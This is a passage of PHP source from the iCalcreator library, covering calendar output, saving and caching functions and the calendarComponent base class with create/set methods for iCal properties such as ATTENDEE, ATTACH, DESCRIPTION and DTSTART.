        $calendar .= '</vcalendar>'.$this->nl;
        break;
      default:
        $calendar .= 'END:VCALENDAR'.$this->nl;
        break;
    }
    return $calendarInit.$calendarxCaldecl.$calendarStart.$calendar;
  }
/**
 * a HTTP redirect header is sent with created, updated and/or parsed calendar
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.24 - 2011-12-23
 * @param bool $utf8Encode
 * @param bool $gzip
 * @return redirect
 */
  function returnCalendar( $utf8Encode=FALSE, $gzip=FALSE ) {
    $filename = $this->getConfig( 'filename' );
    $output   = $this->createCalendar();
    if( $utf8Encode )
      $output = utf8_encode( $output );
    if( $gzip ) {
      $output = gzencode( $output, 9 );
      header( 'Content-Encoding: gzip' );
      header( 'Vary: *' );
      header( 'Content-Length: '.strlen( $output ));
    }
    if( 'xcal' == $this->format )
      header( 'Content-Type: application/calendar+xml; charset=utf-8' );
    else
      header( 'Content-Type: text/calendar; charset=utf-8' );
    header( 'Content-Disposition: attachment; filename="'.$filename.'"' );
    header( 'Cache-Control: max-age=10' );
    die( $output );
  }
/**
 * save content in a file
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.2.12 - 2007-12-30
 * @param string $directory optional
 * @param string $filename optional
 * @param string $delimiter optional
 * @return bool
 */
  function saveCalendar( $directory=FALSE, $filename=FALSE, $delimiter=FALSE ) {
    if( $directory )
      $this->setConfig( 'directory', $directory );
    if( $filename )
      $this->setConfig( 'filename',  $filename );
    if( $delimiter && ($delimiter != DIRECTORY_SEPARATOR ))
      $this->setConfig( 'delimiter', $delimiter );
    if( FALSE === ( $dirfile = $this->getConfig( 'url' )))
      $dirfile = $this->getConfig( 'dirfile' );
    $iCalFile = @fopen( $dirfile, 'w' );
    if( $iCalFile ) {
      if( FALSE === fwrite( $iCalFile, $this->createCalendar() ))
        return FALSE;
      fclose( $iCalFile );
      return TRUE;
    }
    else
      return FALSE;
  }
/**
 * if recent version of calendar file exists (default one hour), an HTTP redirect header is sent
 * else FALSE is returned
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.2.12 - 2007-10-28
 * @param string $directory optional alt. int timeout
 * @param string $filename optional
 * @param string $delimiter optional
 * @param int timeout optional, default 3600 sec
 * @return redirect/FALSE
 */
  function useCachedCalendar( $directory=FALSE, $filename=FALSE, $delimiter=FALSE, $timeout=3600) {
    if ( $directory && ctype_digit( (string) $directory ) && !$filename ) {
      $timeout   = (int) $directory;
      $directory = FALSE;
    }
    if( $directory )
      $this->setConfig( 'directory', $directory );
    if( $filename )
      $this->setConfig( 'filename',  $filename );
    if( $delimiter && ( $delimiter != DIRECTORY_SEPARATOR ))
      $this->setConfig( 'delimiter', $delimiter );
    $filesize    = $this->getConfig( 'filesize' );
    if( 0 >= $filesize )
      return FALSE;
    $dirfile     = $this->getConfig( 'dirfile' );
    if( time() - filemtime( $dirfile ) < $timeout) {
      clearstatcache();
      $dirfile   = $this->getConfig( 'dirfile' );
      $filename  = $this->getConfig( 'filename' );
//    if( headers_sent( $filename, $linenum ))
//      die( "Headers already sent in $filename on line $linenum\n" );
      if( 'xcal' == $this->format )
        header( 'Content-Type: application/calendar+xml; charset=utf-8' );
      else
        header( 'Content-Type: text/calendar; charset=utf-8' );
      header( 'Content-Length: '.$filesize );
      header( 'Content-Disposition: attachment; filename="'.$filename.'"' );
      header( 'Cache-Control: max-age=10' );
      $fp = @fopen( $dirfile, 'r' );
      if( $fp ) {
        fpassthru( $fp );
        fclose( $fp );
      }
      die();
    }
    else
      return FALSE;
  }
}
/*********************************************************************************/
/*********************************************************************************/
/**
 *  abstract class for calendar components
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.9.6 - 2011-05-14
 */
class calendarComponent {
            //  component property variables
  var $uid;
  var $dtstamp;

            //  component config variables
  var $allowEmpty;
  var $language;
  var $nl;
  var $unique_id;
  var $format;
  var $objName; // created automatically at instance creation
  var $dtzid;   // default (local) timezone
            //  component internal variables
  var $componentStart1;
  var $componentStart2;
  var $componentEnd1;
  var $componentEnd2;
  var $elementStart1;
  var $elementStart2;
  var $elementEnd1;
  var $elementEnd2;
  var $intAttrDelimiter;
  var $attributeDelimiter;
  var $valueInit;
            //  component xCal declaration container
  var $xcaldecl;
/**
 * constructor for calendar component object
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.9.6 - 2011-05-17
 */
  function calendarComponent() {
    $this->objName         = ( isset( $this->timezonetype )) ?
                          strtolower( $this->timezonetype )  :  get_class ( $this );
    $this->uid             = array();
    $this->dtstamp         = array();

    $this->language        = null;
    $this->nl              = null;
    $this->unique_id       = null;
    $this->format          = null;
    $this->dtzid           = null;
    $this->allowEmpty      = TRUE;
    $this->xcaldecl        = array();

    $this->_createFormat();
    $this->_makeDtstamp();
  }
/*********************************************************************************/
/**
 * Property Name: ACTION
 */
/**
 * creates formatted output for calendar component property action
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-22
 * @return string
 */
  function createAction() {
    if( empty( $this->action )) return FALSE;
    if( empty( $this->action['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'ACTION' ) : FALSE;
    $attributes = $this->_createParams( $this->action['params'] );
    return $this->_createElement( 'ACTION', $attributes, $this->action['value'] );
  }
/**
 * set calendar component property action
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value  "AUDIO" / "DISPLAY" / "EMAIL" / "PROCEDURE"
 * @param mixed $params
 * @return bool
 */
  function setAction( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->action = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: ATTACH
 */
/**
 * creates formatted output for calendar component property attach
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.11.16 - 2012-02-04
 * @return string
 */
  function createAttach() {
    if( empty( $this->attach )) return FALSE;
    $output       = null;
    foreach( $this->attach as $attachPart ) {
      if( !empty( $attachPart['value'] )) {
        $attributes = $this->_createParams( $attachPart['params'] );
        if(( 'xcal' != $this->format ) && isset( $attachPart['params']['VALUE'] ) && ( 'BINARY' == $attachPart['params']['VALUE'] )) {
          $attributes = str_replace( $this->intAttrDelimiter, $this->attributeDelimiter, $attributes );
          $str        = 'ATTACH'.$attributes.$this->valueInit.$attachPart['value'];
          $output     = substr( $str, 0, 75 ).$this->nl;
          $str        = substr( $str, 75 );
          $output    .= ' '.chunk_split( $str, 74, $this->nl.' ' );
          if( ' ' == substr( $output, -1 ))
            $output   = rtrim( $output );
          if( $this->nl != substr( $output, ( 0 - strlen( $this->nl ))))
            $output  .= $this->nl;
          return $output;
        }
        $output    .= $this->_createElement( 'ATTACH', $attributes, $attachPart['value'] );
      }
      elseif( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( 'ATTACH' );
    }
    return $output;
  }
/**
 * set calendar component property attach
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setAttach( $value, $params=FALSE, $index=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    iCalUtilityFunctions::_setMval( $this->attach, $value, $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: ATTENDEE
 */
/**
 * creates formatted output for calendar component property attendee
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.11.12 - 2012-01-31
 * @return string
 */
  function createAttendee() {
    if( empty( $this->attendee )) return FALSE;
    $output = null;
    foreach( $this->attendee as $attendeePart ) {                      // start foreach 1
      if( empty( $attendeePart['value'] )) {
        if( $this->getConfig( 'allowEmpty' ))
          $output .= $this->_createElement( 'ATTENDEE' );
        continue;
      }
      $attendee1 = $attendee2 = null;
      foreach( $attendeePart as $paramlabel => $paramvalue ) {         // start foreach 2
        if( 'value' == $paramlabel )
          $attendee2     .= $paramvalue;
        elseif(( 'params' == $paramlabel ) && ( is_array( $paramvalue ))) { // start elseif
          $mParams = array( 'MEMBER', 'DELEGATED-TO', 'DELEGATED-FROM' );
          foreach( $paramvalue as $pKey => $pValue ) {                 // fix (opt) quotes
            if( is_array( $pValue ) || in_array( $pKey, $mParams ))
              continue;
            if(( FALSE !== strpos( $pValue, ':' )) ||
               ( FALSE !== strpos( $pValue, ';' )) ||
               ( FALSE !== strpos( $pValue, ',' )))
              $paramvalue[$pKey] = '"'.$pValue.'"';
          }
        // set attenddee parameters in rfc2445 order
          if( isset( $paramvalue['CUTYPE'] ))
            $attendee1   .= $this->intAttrDelimiter.'CUTYPE='.$paramvalue['CUTYPE'];
          if( isset( $paramvalue['MEMBER'] )) {
            $attendee1   .= $this->intAttrDelimiter.'MEMBER=';
            foreach( $paramvalue['MEMBER'] as $cix => $opv )
              $attendee1 .= ( $cix ) ? ',"'.$opv.'"' : '"'.$opv.'"' ;
          }
          if( isset( $paramvalue['ROLE'] ))
            $attendee1   .= $this->intAttrDelimiter.'ROLE='.$paramvalue['ROLE'];
          if( isset( $paramvalue['PARTSTAT'] ))
            $attendee1   .= $this->intAttrDelimiter.'PARTSTAT='.$paramvalue['PARTSTAT'];
          if( isset( $paramvalue['RSVP'] ))
            $attendee1   .= $this->intAttrDelimiter.'RSVP='.$paramvalue['RSVP'];
          if( isset( $paramvalue['DELEGATED-TO'] )) {
            $attendee1   .= $this->intAttrDelimiter.'DELEGATED-TO=';
            foreach( $paramvalue['DELEGATED-TO'] as $cix => $opv )
              $attendee1 .= ( $cix ) ? ',"'.$opv.'"' : '"'.$opv.'"' ;
          }
          if( isset( $paramvalue['DELEGATED-FROM'] )) {
            $attendee1   .= $this->intAttrDelimiter.'DELEGATED-FROM=';
            foreach( $paramvalue['DELEGATED-FROM'] as $cix => $opv )
              $attendee1 .= ( $cix ) ? ',"'.$opv.'"' : '"'.$opv.'"' ;
          }
          if( isset( $paramvalue['SENT-BY'] ))
            $attendee1   .= $this->intAttrDelimiter.'SENT-BY='.$paramvalue['SENT-BY'];
          if( isset( $paramvalue['CN'] ))
            $attendee1   .= $this->intAttrDelimiter.'CN='.$paramvalue['CN'];
          if( isset( $paramvalue['DIR'] )) {
            $delim = ( FALSE === strpos( $paramvalue['DIR'], '"' )) ? '"' : '';
            $attendee1   .= $this->intAttrDelimiter.'DIR='.$delim.$paramvalue['DIR'].$delim;
          }
          if( isset( $paramvalue['LANGUAGE'] ))
            $attendee1   .= $this->intAttrDelimiter.'LANGUAGE='.$paramvalue['LANGUAGE'];
          $xparams = array();
          foreach( $paramvalue as $optparamlabel => $optparamvalue ) { // start foreach 3
            if( ctype_digit( (string) $optparamlabel )) {
              $xparams[]  = $optparamvalue;
              continue;
            }
            if( !in_array( $optparamlabel, array( 'CUTYPE', 'MEMBER', 'ROLE', 'PARTSTAT', 'RSVP', 'DELEGATED-TO', 'DELEGATED-FROM', 'SENT-BY', 'CN', 'DIR', 'LANGUAGE' )))
              $xparams[$optparamlabel] = $optparamvalue;
          } // end foreach 3
          ksort( $xparams, SORT_STRING );
          foreach( $xparams as $paramKey => $paramValue ) {
            if( ctype_digit( (string) $paramKey ))
              $attendee1 .= $this->intAttrDelimiter.$paramValue;
            else
              $attendee1 .= $this->intAttrDelimiter."$paramKey=$paramValue";
          }      // end foreach 3
        }        // end elseif(( 'params' == $paramlabel ) && ( is_array( $paramvalue )))
      }          // end foreach 2
      $output .= $this->_createElement( 'ATTENDEE', $attendee1, $attendee2 );
    }              // end foreach 1
    return $output;
  }
/**
 * set calendar component property attach
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setAttendee( $value, $params=FALSE, $index=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
          // ftp://, http://, mailto:, file://, gopher://, news:, nntp://, telnet://, wais://, prospero://  may exist.. . also in params
    if( !empty( $value )) {
      if( FALSE === ( $pos = strpos( substr( $value, 0, 9 ), ':' )))
        $value = 'MAILTO:'.$value;
      elseif( !empty( $value ))
        $value = strtolower( substr( $value, 0, $pos )).substr( $value, $pos );
      $value = str_replace( 'mailto:', 'MAILTO:', $value );
    }
    $params2 = array();
    if( is_array($params )) {
      $optarrays = array();
      foreach( $params as $optparamlabel => $optparamvalue ) {
        $optparamlabel = strtoupper( $optparamlabel );
        switch( $optparamlabel ) {
          case 'MEMBER':
          case 'DELEGATED-TO':
          case 'DELEGATED-FROM':
            if( !is_array( $optparamvalue ))
              $optparamvalue = array( $optparamvalue );
            foreach( $optparamvalue as $part ) {
              $part = trim( $part );
              if(( '"' == substr( $part, 0, 1 )) &&
                 ( '"' == substr( $part, -1 )))
                $part = substr( $part, 1, ( strlen( $part ) - 2 ));
              if( 'mailto:' != strtolower( substr( $part, 0, 7 )))
                $part = "MAILTO:$part";
              else
                $part = 'MAILTO:'.substr( $part, 7 );
              $optarrays[$optparamlabel][] = $part;
            }
            break;
          default:
            if(( '"' == substr( $optparamvalue, 0, 1 )) &&
               ( '"' == substr( $optparamvalue, -1 )))
              $optparamvalue = substr( $optparamvalue, 1, ( strlen( $optparamvalue ) - 2 ));
            if( 'SENT-BY' ==  $optparamlabel ) {
              if( 'mailto:' != strtolower( substr( $optparamvalue, 0, 7 )))
                $optparamvalue = "MAILTO:$optparamvalue";
              else
                $optparamvalue = 'MAILTO:'.substr( $optparamvalue, 7 );
            }
            $params2[$optparamlabel] = $optparamvalue;
            break;
        } // end switch( $optparamlabel.. .
      } // end foreach( $optparam.. .
      foreach( $optarrays as $optparamlabel => $optparams )
        $params2[$optparamlabel] = $optparams;
    }
        // remove defaults
    iCalUtilityFunctions::_existRem( $params2, 'CUTYPE',   'INDIVIDUAL' );
    iCalUtilityFunctions::_existRem( $params2, 'PARTSTAT', 'NEEDS-ACTION' );
    iCalUtilityFunctions::_existRem( $params2, 'ROLE',     'REQ-PARTICIPANT' );
    iCalUtilityFunctions::_existRem( $params2, 'RSVP',     'FALSE' );
        // check language setting
    if( isset( $params2['CN' ] )) {
      $lang = $this->getConfig( 'language' );
      if( !isset( $params2['LANGUAGE' ] ) && !empty( $lang ))
        $params2['LANGUAGE' ] = $lang;
    }
    iCalUtilityFunctions::_setMval( $this->attendee, $value, $params2, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: CATEGORIES
 */
/**
 * creates formatted output for calendar component property categories
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createCategories() {
    if( empty( $this->categories )) return FALSE;
    $output = null;
    foreach( $this->categories as $category ) {
      if( empty( $category['value'] )) {
        if ( $this->getConfig( 'allowEmpty' ))
          $output .= $this->_createElement( 'CATEGORIES' );
        continue;
      }
      $attributes = $this->_createParams( $category['params'], array( 'LANGUAGE' ));
      if( is_array( $category['value'] )) {
        foreach( $category['value'] as $cix => $categoryPart )
          $category['value'][$cix] = iCalUtilityFunctions::_strrep( $categoryPart, $this->format, $this->nl );
        $content  = implode( ',', $category['value'] );
      }
      else
        $content  = iCalUtilityFunctions::_strrep( $category['value'], $this->format, $this->nl );
      $output    .= $this->_createElement( 'CATEGORIES', $attributes, $content );
    }
    return $output;
  }
/**
 * set calendar component property categories
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param mixed $value
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setCategories( $value, $params=FALSE, $index=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    iCalUtilityFunctions::_setMval( $this->categories, $value, $params, FALSE, $index );
    return TRUE;
 }
/*********************************************************************************/
/**
 * Property Name: CLASS
 */
/**
 * creates formatted output for calendar component property class
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 0.9.7 - 2006-11-20
 * @return string
 */
  function createClass() {
    if( empty( $this->class )) return FALSE;
    if( empty( $this->class['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'CLASS' ) : FALSE;
    $attributes = $this->_createParams( $this->class['params'] );
    return $this->_createElement( 'CLASS', $attributes, $this->class['value'] );
  }
/**
 * set calendar component property class
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value "PUBLIC" / "PRIVATE" / "CONFIDENTIAL" / iana-token / x-name
 * @param array $params optional
 * @return bool
 */
  function setClass( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->class = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: COMMENT
 */
/**
 * creates formatted output for calendar component property comment
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createComment() {
    if( empty( $this->comment )) return FALSE;
    $output = null;
    foreach( $this->comment as $commentPart ) {
      if( empty( $commentPart['value'] )) {
        if( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( 'COMMENT' );
        continue;
      }
      $attributes = $this->_createParams( $commentPart['params'], array( 'ALTREP', 'LANGUAGE' ));
      $content    = iCalUtilityFunctions::_strrep( $commentPart['value'], $this->format, $this->nl );
      $output    .= $this->_createElement( 'COMMENT', $attributes, $content );
    }
    return $output;
  }
/**
 * set calendar component property comment
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setComment( $value, $params=FALSE, $index=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    iCalUtilityFunctions::_setMval( $this->comment, $value, $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: COMPLETED
 */
/**
 * creates formatted output for calendar component property completed
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-22
 * @return string
 */
  function createCompleted( ) {
    if( empty( $this->completed )) return FALSE;
    if( !isset( $this->completed['value']['year'] )  &&
        !isset( $this->completed['value']['month'] ) &&
        !isset( $this->completed['value']['day'] )   &&
        !isset( $this->completed['value']['hour'] )  &&
        !isset( $this->completed['value']['min'] )   &&
        !isset( $this->completed['value']['sec'] ))
      if( $this->getConfig( 'allowEmpty' ))
        return $this->_createElement( 'COMPLETED' );
      else return FALSE;
    $formatted  = iCalUtilityFunctions::_date2strdate( $this->completed['value'], 7 );
    $attributes = $this->_createParams( $this->completed['params'] );
    return $this->_createElement( 'COMPLETED', $attributes, $formatted );
  }
/**
 * set calendar component property completed
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param mixed $year
 * @param mixed $month optional
 * @param int $day optional
 * @param int $hour optional
 * @param int $min optional
 * @param int $sec optional
 * @param array $params optional
 * @return bool
 */
  function setCompleted( $year, $month=FALSE, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $params=FALSE ) {
    if( empty( $year )) {
      if( $this->getConfig( 'allowEmpty' )) {
        $this->completed = array( 'value' => '', 'params' => iCalUtilityFunctions::_setParams( $params ));
        return TRUE;
      }
      else
        return FALSE;
    }
    $this->completed = iCalUtilityFunctions::_setDate2( $year, $month, $day, $hour, $min, $sec, $params );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: CONTACT
 */
/**
 * creates formatted output for calendar component property contact
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createContact() {
    if( empty( $this->contact )) return FALSE;
    $output = null;
    foreach( $this->contact as $contact ) {
      if( !empty( $contact['value'] )) {
        $attributes = $this->_createParams( $contact['params'], array( 'ALTREP', 'LANGUAGE' ));
        $content    = iCalUtilityFunctions::_strrep( $contact['value'], $this->format, $this->nl );
        $output    .= $this->_createElement( 'CONTACT', $attributes, $content );
      }
      elseif( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( 'CONTACT' );
    }
    return $output;
  }
/**
 * set calendar component property contact
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setContact( $value, $params=FALSE, $index=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    iCalUtilityFunctions::_setMval( $this->contact, $value, $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: CREATED
 */
/**
 * creates formatted output for calendar component property created
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-21
 * @return string
 */
  function createCreated() {
    if( empty( $this->created )) return FALSE;
    $formatted  = iCalUtilityFunctions::_date2strdate( $this->created['value'], 7 );
    $attributes = $this->_createParams( $this->created['params'] );
    return $this->_createElement( 'CREATED', $attributes, $formatted );
  }
/**
 * set calendar component property created
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-23
 * @param mixed $year optional
 * @param mixed $month optional
 * @param int $day optional
 * @param int $hour optional
 * @param int $min optional
 * @param int $sec optional
 * @param mixed $params optional
 * @return bool
 */
  function setCreated( $year=FALSE, $month=FALSE, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $params=FALSE ) {
    if( !isset( $year )) {
      $year = date('Ymd\THis', mktime( date( 'H' ), date( 'i' ), date( 's' ) - date( 'Z'), date( 'm' ), date( 'd' ), date( 'Y' )));
    }
    $this->created = iCalUtilityFunctions::_setDate2( $year, $month, $day, $hour, $min, $sec, $params );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: DESCRIPTION
 */
/**
 * creates formatted output for calendar component property description
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createDescription() {
    if( empty( $this->description )) return FALSE;
    $output       = null;
    foreach( $this->description as $description ) {
      if( !empty( $description['value'] )) {
        $attributes = $this->_createParams( $description['params'], array( 'ALTREP', 'LANGUAGE' ));
        $content    = iCalUtilityFunctions::_strrep( $description['value'], $this->format, $this->nl );
        $output    .= $this->_createElement( 'DESCRIPTION', $attributes, $content );
      }
      elseif( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( 'DESCRIPTION' );
    }
    return $output;
  }
/**
 * set calendar component property description
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setDescription( $value, $params=FALSE, $index=FALSE ) {
    if( empty( $value )) { if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE; }
    if( 'vjournal' != $this->objName )
      $index = 1;
    iCalUtilityFunctions::_setMval( $this->description, $value, $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: DTEND
 */
/**
 * creates formatted output for calendar component property dtend
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.4 - 2012-09-26
 * @return string
 */
  function createDtend() {
    if( empty( $this->dtend )) return FALSE;
    if( !isset( $this->dtend['value']['year'] )  &&
        !isset( $this->dtend['value']['month'] ) &&
        !isset( $this->dtend['value']['day'] )   &&
        !isset( $this->dtend['value']['hour'] )  &&
        !isset( $this->dtend['value']['min'] )   &&
        !isset( $this->dtend['value']['sec'] ))
      if( $this->getConfig( 'allowEmpty' ))
        return $this->_createElement( 'DTEND' );
      else return FALSE;
    $parno      = ( isset( $this->dtend['params']['VALUE'] ) && ( 'DATE' == $this->dtend['params']['VALUE'] )) ? 3 : null;
    $formatted  = iCalUtilityFunctions::_date2strdate( $this->dtend['value'], $parno );
    $attributes = $this->_createParams( $this->dtend['params'] );
    return $this->_createElement( 'DTEND', $attributes, $formatted );
  }
/**
 * set calendar component property dtend
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param mixed $year
 * @param mixed $month optional
 * @param int $day optional
 * @param int $hour optional
 * @param int $min optional
 * @param int $sec optional
 * @param string $tz optional
 * @param array params optional
 * @return bool
 */
  function setDtend( $year, $month=FALSE, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $tz=FALSE, $params=FALSE ) {
    if( empty( $year )) {
      if( $this->getConfig( 'allowEmpty' )) {
        $this->dtend = array( 'value' => '', 'params' => iCalUtilityFunctions::_setParams( $params ));
        return TRUE;
      }
      else
        return FALSE;
    }
    $this->dtend = iCalUtilityFunctions::_setDate( $year, $month, $day, $hour, $min, $sec, $tz, $params, null, null, $this->getConfig( 'TZID' ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: DTSTAMP
 */
/**
 * creates formatted output for calendar component property dtstamp
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.4 - 2008-03-07
 * @return string
 */
  function createDtstamp() {
    if( !isset( $this->dtstamp['value']['year'] )  &&
        !isset( $this->dtstamp['value']['month'] ) &&
        !isset( $this->dtstamp['value']['day'] )   &&
        !isset( $this->dtstamp['value']['hour'] )  &&
        !isset( $this->dtstamp['value']['min'] )   &&
        !isset( $this->dtstamp['value']['sec'] ))
      $this->_makeDtstamp();
    $formatted  = iCalUtilityFunctions::_date2strdate( $this->dtstamp['value'], 7 );
    $attributes = $this->_createParams( $this->dtstamp['params'] );
    return $this->_createElement( 'DTSTAMP', $attributes, $formatted );
  }
/**
 * computes datestamp for calendar component object instance dtstamp
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.1 - 2012-09-29
 * @return void
 */
  function _makeDtstamp() {
    $d    = date( 'Y-m-d-H-i-s', mktime( date('H'), date('i'), (date('s') - date( 'Z' )), date('m'), date('d'), date('Y')));
    $date = explode( '-', $d );
    $this->dtstamp['value'] = array( 'year' => $date[0], 'month' => $date[1], 'day' => $date[2], 'hour' => $date[3], 'min' => $date[4], 'sec' => $date[5], 'tz' => 'Z' );
    $this->dtstamp['params'] = null;
  }
/**
 * set calendar component property dtstamp
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-23
 * @param mixed $year
 * @param mixed $month optional
 * @param int $day optional
 * @param int $hour optional
 * @param int $min optional
 * @param int $sec optional
 * @param array $params optional
 * @return TRUE
 */
  function setDtstamp( $year, $month=FALSE, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $params=FALSE ) {
    if( empty( $year ))
      $this->_makeDtstamp();
    else
      $this->dtstamp = iCalUtilityFunctions::_setDate2( $year, $month, $day, $hour, $min, $sec, $params );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: DTSTART
 */
/**
 * creates formatted output for calendar component property dtstart
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.4 - 2012-09-26
 * @return string
 */
  function createDtstart() {
    if( empty( $this->dtstart )) return FALSE;
    if( !isset( $this->dtstart['value']['year'] )  &&
        !isset( $this->dtstart['value']['month'] ) &&
        !isset( $this->dtstart['value']['day'] )   &&
        !isset( $this->dtstart['value']['hour'] )  &&
        !isset( $this->dtstart['value']['min'] )   &&
        !isset( $this->dtstart['value']['sec'] )) {
      if( $this->getConfig( 'allowEmpty' ))
        return $this->_createElement( 'DTSTART' );
      else return FALSE;
    }
    if( in_array( $this->objName, array( 'vtimezone', 'standard', 'daylight' )))
       unset( $this->dtstart['value']['tz'], $this->dtstart['params']['TZID'] );
    $parno      = ( isset( $this->dtstart['params']['VALUE'] ) && ( 'DATE' == $this->dtstart['params']['VALUE'] )) ? 3 : null;
    $formatted  = iCalUtilityFunctions::_date2strdate( $this->dtstart['value'], $parno );
    $attributes = $this->_createParams( $this->dtstart['params'] );
    return $this->_createElement( 'DTSTART', $attributes, $formatted );
  }
/**
 * set calendar component property dtstart
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param mixed $year
 * @param mixed $month optional
 * @param int $day optional
 * @param int $hour optional
 * @param int $min optional
 * @param int $sec optional
 * @param string $tz optional
 * @param array $params optional
 * @return bool
 */
  function setDtstart( $year, $month=FALSE, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $tz=FALSE, $params=FALSE ) {
    if( empty( $year )) {
      if( $this->getConfig( 'allowEmpty' )) {
        $this->dtstart = array( 'value' => '', 'params' => iCalUtilityFunctions::_setParams( $params ));
        return TRUE;
      }
      else
        return FALSE;
    }
